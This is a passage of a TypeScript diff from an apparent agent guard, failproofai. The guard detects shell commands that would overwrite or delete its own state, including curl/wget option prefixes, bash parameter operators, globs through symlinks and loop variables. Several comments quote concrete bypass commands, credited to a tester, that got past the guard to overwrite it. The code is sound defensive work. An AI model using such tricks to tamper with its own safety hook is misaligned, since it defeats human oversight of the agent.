break; + } + // `-e SCRIPT` and `-l N` take a value; `-i` takes the rest as a suffix. + if (arg[c] === "e" || arg[c] === "l") { + if (c + 1 === arg.length) k++; + break; + } + if (arg[c] === "i") break; + } + } + return files; +} + /** What the shell splits a line at, when it is not quoted or escaped. */ const SEPARATOR_CHARS = /[;&|\n\r]/; @@ -1931,7 +2038,17 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st const arg = args[i]; const long = flags.find((f) => f.startsWith("--") && arg.startsWith(`${f}=`)); if (long && (namesState(arg) || namesState(arg.slice(long.length + 1)))) return true; - const bundled = /^-[A-Za-z]*[oD]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); + // A long option as getopt_long and curl before 8 also take it, cut short + // to a prefix of its name (`--stde`, `--outp=`), unless that prefix is + // itself another option (`--cookie`, which reads). + if (arg.startsWith("--") && arg.length > 2) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (!flags.includes(`--${name}`) && !EXACT_NON_OUTPUT_OPTIONS.has(`${head} --${name}`) && flags.some((f) => f.startsWith(`--${name}`))) { + if (namesState(eq === -1 ? (args[i + 1] ?? "") : arg.slice(eq + 1))) return true; + } + } + const bundled = /^-[A-Za-z]*[oDc]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; // Or the value glued on, after the option alone or at the end of a // cluster: `curl -o`, `curl -so`. @@ -1953,6 +2070,60 @@ const CURL_VALUE_OPTIONS = "AbcCdDEeFHKmoPQrTtuUwxXyYz"; /** Short options that take a value, for the commands whose list is known. */ const SHORT_VALUE_OPTIONS: Record = { curl: CURL_VALUE_OPTIONS, wget: WGET_VALUE_OPTIONS }; +/** Short options that name a file the command writes, for the commands whose list is known. */ +const SHORT_OUTPUT_OPTIONS: Record = { curl: "oDc", wget: "Oao" }; + +/** + * The long options that decide where a download lands. curl before 8 and + * wget (getopt_long) also take an unambiguous abbreviation of a long option + * (`--output-di` for `--output-dir`; found by hermes on + * FailproofAI/failproofai#1058), so a name that only starts one of these is + * read as each it may be. One two options share is refused by both tools, so + * reading it as either never misses a landing. + */ +const CURL_LANDING_OPTIONS = ["output", "output-dir", "remote-name", "remote-name-all", "remote-header-name", "next"]; +const WGET_LANDING_OPTIONS = [ + "directory-prefix", + "output-document", + "spider", + "content-disposition", + "trust-server-names", + "input-file", + "recursive", + "mirror", + "page-requisites", + "force-directories", + "no-directories", + "default-page", + "execute", +]; +const LANDING_VALUE_OPTIONS = new Set(["output", "output-dir", "directory-prefix", "output-document", "input-file", "default-page", "execute"]); + +/** The landing options `--` may be, for curl or wget. */ +function landingOptions(head: string, written: string): string[] { + const options = head === "wget" ? WGET_LANDING_OPTIONS : CURL_LANDING_OPTIONS; + if (options.includes(written)) return [written]; + return written === "" ? [] : options.filter((option) => option.startsWith(written)); +} + +/** + * wget's `-e` / `--execute` runs a `.wgetrc` command, whose name wget reads + * without case, `_` or `-` (`-e dir_prefix=node_modules/.bin`): the ones that + * decide where a download lands, as the long option each stands for. + */ +const WGETRC_LANDING_COMMANDS: Record = { + dirprefix: "directory-prefix", + outputdocument: "output-document", + spider: "spider", + contentdisposition: "content-disposition", + trustservernames: "trust-server-names", + recursive: "recursive", + mirror: "mirror", + pagerequisites: "page-requisites", + dirstruct: "force-directories", + defaultpage: "default-page", +}; + /** More letters than a short-option cluster has when written to be read. */ const MAX_OPTION_CLUSTER = 32; @@ -2015,7 +2186,7 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | if (head === "curl") { const transfers: string[][] = [[]]; for (const word of words.slice(1)) { - if (word === "--next" || word === "-:") transfers.push([]); + if (word === "-:" || (word.startsWith("--") && !word.includes("=") && landingOptions(head, word.slice(2)).includes("next"))) transfers.push([]); else transfers[transfers.length - 1].push(word); } if (transfers.length > 1) return transfers.flatMap((transfer) => transferLandings(head, transfer)); @@ -2033,9 +2204,29 @@ function transferLandings(head: string, args: string[]): Array<{ dir: string; na let recursive = false; let flat = false; let dirGiven = false; + // The name wget gives a URL that ends in `/`. + let defaultPage = "index.html"; // What curl's `-o` / `--output` name, which `--output-dir` also prefixes. const outputs: string[] = []; const urls: string[] = []; + const apply = (option: string, value: string | undefined) => { + if (option === "directory-prefix" || option === "output-dir") { + dir = value ?? dir; + dirGiven = true; + } else if (option === "output") outputs.push(value ?? ""); + else if (option === "output-document" || option === "spider") named = true; + else if (option === "remote-name" || option === "remote-name-all") urlNamed = true; + else if (option === "content-disposition" || option === "remote-header-name" || option === "input-file" || option === "trust-server-names") { + serverNamed = true; + } else if (option === "recursive" || option === "mirror" || option === "page-requisites" || option === "force-directories") recursive = true; + else if (option === "no-directories") flat = true; + else if (option === "default-page") defaultPage = value ?? defaultPage; + else if (option === "execute" && value !== undefined) { + const eq = value.indexOf("="); + const command = WGETRC_LANDING_COMMANDS[value.slice(0, eq === -1 ? undefined : eq).replace(/[\s_-]/g, "").toLowerCase()]; + if (command !== undefined) apply(command, eq === -1 ? undefined : value.slice(eq + 1).trim()); + } + }; for (let i = 0; i < args.length; i++) { const arg = args[i]; if (arg === "--") { @@ -2044,17 +2235,9 @@ function transferLandings(head: string, args: string[]): Array<{ dir: string; na } if (arg.startsWith("--")) { const eq = arg.indexOf("="); - const name = arg.slice(2, eq === -1 ? undefined : eq); - const value = eq === -1 ? undefined : arg.slice(eq + 1); - if (name === "directory-prefix" || name === "output-dir") { - dir = value ?? args[++i] ?? dir; - dirGiven = true; - } else if (head === "curl" && name === "output") outputs.push(value ?? args[++i] ?? ""); - else if (name === "output-document" || name === "spider") named = true; - else if (name === "remote-name" || name === "remote-name-all") urlNamed = true; - else if (name === "content-disposition" || name === "remote-header-name" || name === "input-file") serverNamed = true; - else if (name === "recursive" || name === "mirror" || name === "page-requisites" || name === "force-directories") recursive = true; - else if (name === "no-directories") flat = true; + const options = landingOptions(head, arg.slice(2, eq === -1 ? undefined : eq)); + const value = eq !== -1 ? arg.slice(eq + 1) : options.some((option) => LANDING_VALUE_OPTIONS.has(option)) ? args[++i] : undefined; + for (const option of options) apply(option, value); continue; } if (arg.startsWith("-") && arg.length > 1) { @@ -2067,13 +2250,11 @@ function transferLandings(head: string, args: string[]): Array<{ dir: string; na const flag = arg[c]; if (valueOptions.includes(flag)) { const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; - if (head === "wget" && flag === "P") { - dir = value ?? dir; - dirGiven = true; - } - if (head === "curl" && flag === "o") outputs.push(value ?? ""); + if (head === "wget" && flag === "P") apply("directory-prefix", value); + if (head === "curl" && flag === "o") apply("output", value); if (head === "wget" && flag === "O") named = true; if (head === "wget" && flag === "i") serverNamed = true; + if (head === "wget" && flag === "e") apply("execute", value); break; } if (head === "curl" && flag === "O") urlNamed = true; @@ -2103,11 +2284,239 @@ function transferLandings(head: string, args: string[]): Array<{ dir: string; na } catch { // Not valid percent-encoding: the name as written is what lands. } + // wget saves a URL that ends in `/` as `--default-page`, `index.html` + // unless the line names another (`--default-page=failproofai`). + if (last === "" && head === "wget") landings.push({ dir, name: defaultPage }); for (const name of new Set([last, decoded])) if (name !== "") landings.push({ dir, name }); } return landings; } +/** + * A `$name` or `${…}` reference starting at `word[i]`, a `$`: where it ends, + * the variable it reads (`""` for one this does not read, such as `$1`, + * `${a[0]}` or `${!prefix*}`), and the operator and word after the name. + */ +type ParameterReference = { end: number; name: string; op: string; arg: string; indirect: boolean; count: boolean }; +function readParameterReference(word: string, i: number): ParameterReference | null { + if (word[i + 1] !== "{") { + const name = /^[A-Za-z_][A-Za-z0-9_]*/.exec(word.slice(i + 1, i + 257))?.[0]; + return name === undefined ? null : { end: i + 1 + name.length, name, op: "", arg: "", indirect: false, count: false }; + } + let depth = 0; + let j = i + 1; + for (; j < word.length; j++) { + if (word[j] === "\\") j++; + else if (word[j] === "{") depth++; + else if (word[j] === "}" && --depth === 0) break; + } + if (j >= word.length) return null; + const body = word.slice(i + 2, j); + const indirect = body.startsWith("!"); + const count = !indirect && body.startsWith("#") && body.length > 1; + const from = indirect || count ? 1 : 0; + const name = /^[A-Za-z_][A-Za-z0-9_]*/.exec(body.slice(from))?.[0]; + const unread = { end: j + 1, name: "", op: "", arg: "", indirect, count }; + if (name === undefined) return unread; + const rest = body.slice(from + name.length); + const op = /^(?::[-=+?]|[-=+?]|##?|%%?|\/[/#%]?|\^\^?|,,?|@|:)/.exec(rest)?.[0] ?? ""; + if ((op === "" && rest !== "") || ((indirect || count) && op !== "")) return unread; + return { end: j + 1, name, op, arg: rest.slice(op.length), indirect, count }; +} + +/** A glob as an expression for a whole string, or `null` for one that makes none. */ +function wholeGlob(pattern: string): RegExp | null { + try { + return new RegExp(`^(?:${compileGlobPattern(pattern)})$`, "s"); + } catch { + return null; + } +} + +/** Longer than a value an operator's pattern is matched against, position by position. */ +const MAX_OPERATED_VALUE = 512; + +/** + * `${name}` for a variable holding `value`, as bash computes it, for + * the operators that change the value: trimming (`#`, `%`), replacing (`/`), + * case (`^`, `,`, `@U`), quoting (`@Q`) and substrings (`:2:3`). `null` for one + * this does not compute, which is then read as a value the walk cannot know. + */ +function applyParameterOperator(value: string, op: string, arg: string): string | null { + if (op === "^^" || (op === "@" && arg === "U")) return value.toUpperCase(); + if (op === ",," || (op === "@" && arg === "L")) return value.toLowerCase(); + if (op === "^" || (op === "@" && arg === "u")) return value.charAt(0).toUpperCase() + value.slice(1); + if (op === ",") return value.charAt(0).toLowerCase() + value.slice(1); + if (op === "@") return arg === "Q" ? `'${value.replace(/'/g, "'\\''")}'` : null; + if (op === ":") { + const m = /^\s*(-?\d{1,6})\s*(?::\s*(-?\d{1,6})\s*)?$/.exec(arg); + if (m === null) return null; + const start = Number(m[1]) < 0 ? Math.max(0, value.length + Number(m[1])) : Math.min(value.length, Number(m[1])); + if (m[2] === undefined) return value.slice(start); + const length = Number(m[2]); + return length < 0 ? value.slice(start, Math.max(start, value.length + length)) : value.slice(start, start + length); + } + if (value.length > MAX_OPERATED_VALUE) return null; + if (op === "#" || op === "##" || op === "%" || op === "%%") { + const re = wholeGlob(arg); + if (re === null) return null; + const cuts = Array.from({ length: value.length + 1 }, (_, k) => k); + if (op === "##" || op === "%") cuts.reverse(); + for (const k of cuts) { + if (op.startsWith("#") ? re.test(value.slice(0, k)) : re.test(value.slice(value.length - k))) { + return op.startsWith("#") ? value.slice(k) : value.slice(0, value.length - k); + } + } + return value; + } + // `/pattern/string`, `//` for every match, `/#` at the start, `/%` at the end. + let slash = -1; + for (let k = 0; k < arg.length; k++) { + if (arg[k] === "\\") k++; + else if (arg[k] === "/") { + slash = k; + break; + } + } + const pattern = slash === -1 ? arg : arg.slice(0, slash); + const replacement = slash === -1 ? "" : arg.slice(slash + 1); + const re = wholeGlob(pattern); + if (re === null || pattern === "") return re === null ? null : value; + if (op === "/#") { + for (let k = value.length; k > 0; k--) if (re.test(value.slice(0, k))) return replacement + value.slice(k); + return value; + } + if (op === "/%") { + for (let k = 0; k < value.length; k++) if (re.test(value.slice(k))) return value.slice(0, k) + replacement; + return value; + } + let out = ""; + let pos = 0; + let replaced = false; + while (pos < value.length) { + let end = -1; + if (!(replaced && op === "/")) { + for (let k = value.length; k > pos; k--) { + if (re.test(value.slice(pos, k))) { + end = k; + break; + } + } + } + if (end === -1) { + out += value[pos++]; + continue; + } + out += replacement; + replaced = true; + pos = end; + } + return out; +} + +/** + * What `word` may expand to, each `$name` and `${…}` in it read with every + * value `valuesOf` gives the variable: none for one the line never sets, which + * stays written as it is, as one whose value the walk cannot know. A + * `${name:-word}`-style default or `${name:+word}` alternate is also read for + * a variable it does not know, `${!name}` through the variable it names, and + * a value that refers to another variable through that one's values too. + * `null` past `limit` results. + */ +function expandParameters( + word: string, + valuesOf: (name: string) => readonly string[], + limit: number, + depth = 0, + memo = new Map(), +): string[] | null { + let results = [""]; + let literal = 0; + // A result longer than PATH_MAX names no file anything can open, so it is + // dropped as it grows: a value that refers to itself (`A=$A$A…`) doubles + // with every reading. + const append = (alternatives: readonly string[]): boolean => { + const next = new Set(); + for (const result of results) { + for (const alternative of alternatives) { + if (result.length + alternative.length > PATH_MAX_BYTES) continue; + next.add(result + alternative); + if (next.size > limit) return false; + } + } + results = [...next]; + return true; + }; + for (let i = 0; i < word.length; i++) { + if (word[i] !== "$") continue; + const reference = readParameterReference(word, i); + if (reference === null) continue; + const written = word.slice(i, reference.end); + const alternatives = parameterAlternatives(reference, written, valuesOf, limit, depth, memo); + if (alternatives === null || !append([word.slice(literal, i)]) || !append(alternatives)) return null; + literal = reference.end; + i = reference.end - 1; + } + return append([word.slice(literal)]) ? results : null; +} + +/** The values one reference in `expandParameters` may take. */ +function parameterAlternatives( + reference: ParameterReference, + written: string, + valuesOf: (name: string) => readonly string[], + limit: number, + depth: number, + memo: Map, +): string[] | null { + if (reference.name === "") return [written]; + const deeper = (text: string): string[] | null => { + if (depth >= 3 || !text.includes("$")) return [text]; + const key = `${depth}\u0000${text}`; + if (!memo.has(key)) memo.set(key, expandParameters(text, valuesOf, limit, depth + 1, memo)); + return memo.get(key)!; + }; + const argument = (): string[] | null => deeper(reference.arg); + let values: readonly string[] = valuesOf(reference.name); + if (reference.indirect) { + if (values.length === 0 || values.some((value) => !/^[A-Za-z_][A-Za-z0-9_]*$/.test(value))) return [written]; + values = values.flatMap((target) => valuesOf(target)); + } + const { op } = reference; + if (values.length === 0) { + const arg = op === "-" || op === ":-" || op === "=" || op === ":=" || op === "+" || op === ":+" ? argument() : []; + if (arg === null) return null; + if (op === "+" || op === ":+") return ["", ...arg]; + return [written, ...arg]; + } + const out: string[] = []; + for (const raw of values) { + const expanded = deeper(raw); + if (expanded === null) return null; + for (const value of expanded) { + if (reference.count) out.push(String(value.length)); + else if (op === "" || op === "-" || op === "=" || op === "?" || op === ":?") out.push(value); + else if (op === ":-" || op === ":=") { + if (value !== "") out.push(value); + else out.push(...(argument() ?? [written])); + } else if (op === "+") out.push(...(argument() ?? [written])); + else if (op === ":+") { + if (value === "") out.push(""); + else out.push(...(argument() ?? [written])); + } else { + const arg = argument(); + const result = arg === null ? null : applyParameterOperator(value, op, arg[0]); + out.push(result ?? written); + } + if (out.length > limit) return null; + } + } + return [...new Set(out)]; +} + +/** A `${…}` that does more than name a variable: an operator, `${!name}` or `${#name}`. */ +const OPERATED_REFERENCE_RE = /\$\{[!#]?[A-Za-z_][A-Za-z0-9_]*[^A-Za-z0-9_}]|\$\{[!#]/; + /** * True when `command` would delete, move or overwrite failproofai's own state. * @@ -2473,6 +2882,41 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, } return names; }; + // The names of the links this line has made in `directory` ("" is the + // root), which no listing holds yet but the shell's glob will. + const inlineNamesIn = (directory: string): string[] => { + if (links.size === 0) return []; + const names: string[] = []; + for (const place of links.keys()) { + const cut = place.lastIndexOf("/"); + if (place.slice(0, cut) === directory) names.push(place.slice(cut + 1)); + } + return names; + }; + // A directory as a glob reads it: the directory it really is, through this + // line's links too, and the names in it, this line's links among them. + const namesInDirectory = (path: string): { directory: string; names: Iterable } => { + let directory = path; + if (links.size > 0 && path !== "") { + const real = realPath(path); + if (typeof real === "string") directory = real === "/" ? "" : real; + } + const listed = listingOf(directory); + const inline = inlineNamesIn(directory); + return { directory, names: inline.length === 0 ? (listed ?? []) : new Set([...(listed ?? []), ...inline]) }; + }; + // Whether `path` is there once this line's links are made: on disk, or + // through or as one of them. + const present = (path: string): boolean => { + if (exists(path)) return true; + if (links.size === 0) return false; + const cut = path.lastIndexOf("/"); + const parent = realPath(path.slice(0, cut) || "/"); + if (typeof parent !== "string") return true; + if (links.has(`${parent === "/" ? "" : parent}/${path.slice(cut + 1)}`)) return true; + const real = realPath(path); + return typeof real !== "string" || exists(real) || links.has(real); + }; // A pattern as the shell expands it against the disk, from directory // `from`: each component with a pattern matched against what the directory // before it holds, a leading `.` only by a pattern that spells one (no @@ -2496,7 +2940,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const next: string[] = []; for (const path of paths) { if (++reads > GLOB_DISK_LIMIT / 4) return null; - for (const name of listingOf(path) ?? []) { + for (const name of namesInDirectory(path).names) { if (name.startsWith(".") && !part.startsWith(".")) continue; if (!matcher.test(name)) continue; next.push(`${path}/${name}`); @@ -2506,7 +2950,45 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, if (next.length === 0) return []; paths = next; } - return paths.filter(exists); + return paths.filter(present); + }; + // The links in `directory`, read once from disk, with this line's. + const diskLinks = new Map(); + const linkNamesIn = (directory: string): string[] => { + let names = diskLinks.get(directory); + if (names === undefined) { + names = []; + try { + for (const entry of readdirSync(directory || "/", { withFileTypes: true })) if (entry.isSymbolicLink()) names.push(entry.name); + } catch { + // Unreadable: nothing in it can be reached through it. + } + diskLinks.set(directory, names); + } + const inline = inlineNamesIn(directory); + return inline.length === 0 ? names : [...names, ...inline]; + }; + // The matches of a pattern in one directory that are links, the only ones + // that reach anywhere else, however many plain names match beside them: + // `tee many/*` wrote through `many/hook`, a link to the entry, past 4096 + // plain names (found by hermes on FailproofAI/failproofai#1058). `null` + // past GLOB_DISK_LIMIT links. + const linksMatching = (directory: string, part: string): string[] | null => { + let matcher: RegExp; + try { + matcher = new RegExp(`^${compileGlobPattern(part)}$`); + } catch { + // A bracket bash cannot read either (`[r-p]`) matches nothing. + return []; + } + const found: string[] = []; + for (const name of linkNamesIn(directory)) { + if (name.startsWith(".") && !part.startsWith(".")) continue; + if (!matcher.test(name)) continue; + found.push(`${directory}/${name}`); + if (found.length > GLOB_DISK_LIMIT) return null; + } + return found; }; // A glob expands where its literal directories really are: `cp x bins/fail*` // with `bins` a link to `node_modules/.bin`, and `fail*` from a directory @@ -2539,10 +3021,11 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // A pattern only in the last component matches names in one directory: // what counts there is a match that is a link (`hoo*` reaching `hook`, a // link to the entry). In npm's bin directory or a `node_modules`, its - // names are what the pattern is read against, so a sweep stays a sweep. + // names are what the pattern is read against, so a sweep stays a sweep; + // what a sweep writes is judged by `sweepWritesEntry`. if (!inDirectory && (NPM_BIN_DIRECTORY_RE.test(real) || /(?:^|\/)(?:node_modules|\.pnpm)$/i.test(real))) return false; - const matches = expandOnDisk(real, pattern); - if (matches === null) return inDirectory; + const matches = inDirectory ? expandOnDisk(real, pattern) : linksMatching(real === "/" ? "" : real, pattern); + if (matches === null) return true; return matches.some((match) => { const reached = realPath(match); if (reached === ELOOP) return true; @@ -2575,6 +3058,47 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, ) || (GLOB_METACHAR_RE.test(written) && globLandsOnState(written)); const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // A glob that sweeps npm's bin directory reaches every name in it, which is + // harmless for a delete (`rm -rf node_modules/.bin/*` stays allowed) and + // the entry for a write: `tee bins/* < stub` with `bins` a link to + // `node_modules/.bin` overwrote it (found by hermes on + // FailproofAI/failproofai#1058). So a written word whose last component is + // a pattern, in a bin directory, lands on the entry when the pattern matches + // the entry there, or a link there that reaches the entry or the state. + const sweepWritesEntry = (written: string): boolean => { + if (!GLOB_METACHAR_RE.test(written)) return false; + let patterns = 0; + for (const word of expandBraces(written)) { + const cut = word.replace(/[\\/]+$/, "").lastIndexOf("/"); + const pattern = word.slice(cut + 1); + const directory = cut === -1 ? "." : word.slice(0, cut) || "/"; + if (!GLOB_METACHAR_RE.test(pattern) || GLOB_METACHAR_RE.test(directory) || /[$`]/.test(word)) continue; + if (++patterns > MAX_BRACE_WORDS_ON_DISK) return true; + let matcher: RegExp; + try { + matcher = new RegExp(`^${compileGlobPattern(pattern)}$`); + } catch { + continue; + } + for (const base of [at, ...alts]) { + const path = absoluteFrom(base, directory); + if (path === undefined) continue; + const real = realPath(path.raw); + if (typeof real !== "string" || !NPM_BIN_DIRECTORY_RE.test(real)) continue; + const dir = real === "/" ? "" : real; + if (NPX_ENTRY_NAMES.some((name) => matcher.test(name) && present(`${dir}/${name}`))) return true; + for (const name of linkNamesIn(dir)) { + if ((name.startsWith(".") && !pattern.startsWith(".")) || !matcher.test(name)) continue; + const reached = realPath(`${dir}/${name}`); + if (reached === ELOOP) return true; + if (typeof reached !== "string") { + if (lostNamesState(reached)) return true; + } else if (NPX_ENTRY_PATH_RE.test(reached) || FAILPROOFAI_STATE_PATH_RE.test(reached)) return true; + } + } + } + return false; + }; // From a directory the agent may have run the line in without saying so // (`anywhere`), a relative destination that would be the entry, or the // package, wherever that directory is: `printf … > failproofai`, and through @@ -2614,18 +3138,40 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, if (COPY_COMMANDS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; if (head === "dd" && args.some((arg) => arg.startsWith("of=") && plantsAnywhere(arg.slice(3)))) return true; if (head === "sed" && sedWriteTargets(args).some(plantsAnywhere)) return true; + const known = SHORT_VALUE_OPTIONS[head]; + const outputLetters = SHORT_OUTPUT_OPTIONS[head]; return args.some((arg, i) => { const long = /^--(?:output|out)[\w-]*(=)?/.exec(arg); if (long) return plantsAnywhere(long[1] ? arg.slice(arg.indexOf("=") + 1) : (args[i + 1] ?? "")); + // The other files curl writes (`--stderr`, `--dump-header`, …), by any + // prefix of the name curl before 8 takes. + if (arg.startsWith("--") && OUTPUT_FLAG_COMMANDS[head] !== undefined) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name !== "" && !EXACT_NON_OUTPUT_OPTIONS.has(`${head} --${name}`) && OUTPUT_FLAG_COMMANDS[head].some((flag) => flag.startsWith(`--${name}`))) { + return plantsAnywhere(eq === -1 ? (args[i + 1] ?? "") : arg.slice(eq + 1)); + } + } if (!/^-[A-Za-z]/.test(arg)) return false; + // Where the command's value letters are known, the cluster is read as + // getopt reads it: flags up to the first letter that takes a value, and + // that value, glued on or the next word, a file written only when the + // letter is an output's. curl's `-O` takes none, so `cd out && curl -sO + // http://host/failproofai/my-tool` names no file; where it lands is + // judged with the other downloads (found by hermes on + // FailproofAI/failproofai#1058). + if (known !== undefined) { + for (let c = 1; c < arg.length; c++) { + if (!known.includes(arg[c])) continue; + return outputLetters.includes(arg[c]) && plantsAnywhere(c + 1 < arg.length ? arg.slice(c + 1) : (args[i + 1] ?? "")); + } + return false; + } if (/^-[A-Za-z]*[oO]$/.test(arg)) return plantsAnywhere(args[i + 1] ?? ""); - // Glued on after an `o` or `O`; read as getopt reads it where the - // command's value letters are known. - const known = SHORT_VALUE_OPTIONS[head]; + // Glued on after an `o` or `O`. for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { if (c > MAX_OPTION_CLUSTER) return /failproof/i.test(arg); if ((arg[c] === "o" || arg[c] === "O") && plantsAnywhere(arg.slice(c + 1))) return true; - if (known?.includes(arg[c])) return false; } return false; }); @@ -2661,20 +3207,24 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // `cd` the walk cannot follow. Every word is judged as written as well, so an // assignment the shell never makes (`: D=x`) cannot hide one. const values = new Map(LOOP_HEADER_RE.test(command) ? assignments : []); + // A variable's value where the shell stands at `here`: `$PWD` is that + // directory, `$HOME` is `~` unless the line sets it. + const valueAt = (name: string, here: Where): string | undefined => + name === "PWD" && here.dir !== undefined && !here.lost ? here.dir : (values.get(name) ?? (name === "HOME" ? "~" : undefined)); const expandAt = (word: string, here: Where): string => { let out = word; if (out.startsWith("~+") && here.dir !== undefined && !here.lost) out = here.dir + out.slice(2); else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); - for (let pass = 0; pass < 3 && out.includes("$"); pass++) { - out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && here.dir !== undefined && !here.lost - ? here.dir - : values.get(name) ?? (name === "HOME" ? "~" : reference), - ); - // A value that refers to itself grows with every pass. - if (out.length > 4096) return word; - } - return out; + if (!out.includes("$")) return out; + // Each operator as bash applies it (`${D%/}` is `D` without its trailing + // `/`), and a variable read in a value read too. + const results = expandParameters(out, (name) => { + const value = valueAt(name, here); + return value === undefined ? [] : [value]; + }, 64); + out = results?.[0] ?? word; + // A value that refers to itself grows with every pass. + return out.length > 4096 ? word : out; }; const expand = (word: string): string => expandAt(word, at); // Every value the line gives each variable. One set only in a subshell or @@ -2704,31 +3254,28 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // B=y); printf x > node_modules/.bin/$A$B` writes `failproofai`, which // swapping one variable at a time never spelled (found by hermes on // FailproofAI/failproofai#1058). + // A `${name:-word}` default, `${!name}` and the other operators give a word + // other values too, so those are read even when nothing is reassigned: + // `cp stub ${X:-bins}/failproofai` writes through `bins` when `X` is unset. const variantsOf = (word: string): string[] => { - if (!reassigned || !word.includes("$")) return []; + if (!word.includes("$") || (!reassigned && !OPERATED_REFERENCE_RE.test(word))) return []; const known = variantsByWord.get(word); if (known !== undefined) return known; - const names = [...new Set([...word.matchAll(VAR_REFERENCE_RE)].map(([, name]) => name))].filter( - (name) => (everyValue.get(name)?.length ?? 0) > 1, + const results = expandParameters( + word, + (name) => { + const every = everyValue.get(name); + if (every !== undefined && every.length > 0 && !(name === "PWD" && at.dir !== undefined && !at.lost)) return every; + const value = valueAt(name, at); + return value === undefined ? [] : [value]; + }, + Math.max(variantBudget, 1), ); - let combinations = 1; - for (const name of names) combinations *= everyValue.get(name)!.length; - variantBudget -= names.length === 0 ? 0 : combinations; + if (results === null) throw new Error("a variable is reassigned too many times to follow"); + if (results.length > 1) variantBudget -= results.length; if (variantBudget < 0) throw new Error("a variable is reassigned too many times to follow"); - const variants = new Set(); const current = expand(word); - const substitute = (text: string, name: string, value: string): string => - text.split(`\${${name}}`).join(value).replace(new RegExp(`\\$${name}(?![A-Za-z0-9_])`, "g"), () => value); - const choose = (index: number, text: string): void => { - if (index === names.length) { - const variant = expand(text); - if (variant !== current) variants.add(variant); - return; - } - for (const value of everyValue.get(names[index])!) choose(index + 1, substitute(text, names[index], value)); - }; - if (names.length > 0) choose(0, word); - const found = [...variants]; + const found = results.filter((variant) => variant !== current && variant.length <= 4096); variantsByWord.set(word, found); return found; }; @@ -2737,6 +3284,288 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const NAMES_PWD_RE = /\$\{?PWD\b|^~\+/; const expandEverywhere = (word: string): string[] => NAMES_PWD_RE.test(word) ? alts.map((alt) => expandAt(word, alt)) : []; + // Gives `name` the values in `found`, keeping each it held before as one + // it may still hold; with none, a value the walk cannot know. + const setVariable = (name: string, found: readonly string[]) => { + if (values.has(name)) assigned(name, values.get(name)!); + if (found.length === 0) { + values.delete(name); + variantsByWord.clear(); + return; + } + for (const value of found) assigned(name, value); + values.set(name, found[found.length - 1]); + }; + // What a glob word expands to on disk from `base`, as the shell expands + // it; `null` past GLOB_DISK_LIMIT paths or from a directory the walk lost. + const globPaths = (base: Where, word: string): string[] | null => { + const absolute = word.startsWith("/") + ? word + : word === "~" || word.startsWith("~/") + ? homedir() + word.slice(1) + : !base.lost && base.full?.startsWith("/") + ? `${base.full}/${word}` + : undefined; + return absolute === undefined ? null : expandOnDisk("/", absolute.slice(1)); + }; + // A loop's variable takes each value its list gives as the shell expands + // it: `for d in out bins; do cp stub $d/failproofai; done` writes through + // `bins`, and `for f in many/*` through every link the pattern matches + // (found by hermes on FailproofAI/failproofai#1058). Past MAX_LOOP_VALUES, + // only the values that may reach what is protected are kept. + const loopValues = (name: string, list: string) => { + const found: string[] = []; + let plain = 0; + const take = (value: string, reaches: boolean) => { + if (found.includes(value) || (!reaches && plain++ >= MAX_LOOP_VALUES)) return; + found.push(value); + }; + const nameReaches = (path: string): boolean => /failproof/i.test(path) || couldBeEntryName(path.slice(path.lastIndexOf("/") + 1)); + const linked = (path: string): boolean => { + const cut = path.lastIndexOf("/"); + return linkNamesIn(path.slice(0, cut)).includes(path.slice(cut + 1)); + }; + for (const { raw } of shellWords(list)) { + const word = bareToken(raw); + if (word === "" || word === "do") continue; + for (const each of [expand(word), ...variantsOf(word)]) { + if (!GLOB_METACHAR_RE.test(each) || /[$`]/.test(each)) { + take(each, nameReaches(each) || isBinDir(each) || landsOnState(each)); + continue; + } + const matches = globPaths(at, each); + if (matches === null) { + // Too many names to read one by one: in one directory, only its + // links and the entry reach anywhere else. + const cut = each.lastIndexOf("/"); + const part = each.slice(cut + 1); + const directory = cut === -1 ? "." : each.slice(0, cut) || "/"; + if (GLOB_METACHAR_RE.test(directory)) throw new Error("a loop runs over more paths than the walk reads"); + for (const { real } of realPathsOf(directory)) { + if (typeof real !== "string") throw new Error("a loop runs over more paths than the walk reads"); + const dir = real === "/" ? "" : real; + const links = linksMatching(dir, part); + if (links === null) throw new Error("a loop runs over more paths than the walk reads"); + for (const link of links) take(link, true); + const re = wholeGlob(part); + for (const entry of NPX_ENTRY_NAMES) if (re?.test(entry) && present(`${dir}/${entry}`)) take(`${dir}/${entry}`, true); + } + continue; + } + if (matches.length === 0) take(each, nameReaches(each)); + for (const match of matches) take(match, nameReaches(match) || (linked(match) && (landsOnState(match) || isBinDir(match)))); + } + } + setVariable(name, found); + }; + // `read`, `printf -v`, `mapfile` and `unset`, which set a variable without + // `=`: `read D <<< bins` gives `D` the here-string, and a value read from a + // file or a pipe is one the walk cannot know. + const setByBuiltin = (head: string, words: string[], simple: string) => { + if (head === "read") { + const names: string[] = []; + for (let k = 1; k < words.length; k++) { + if (/^-[A-Za-z]*[adinNptu]$/.test(words[k])) { + if (words[k].endsWith("a")) names.push(words[k + 1] ?? ""); + k++; + } else if (!words[k].startsWith("-")) names.push(words[k]); + } + const here = 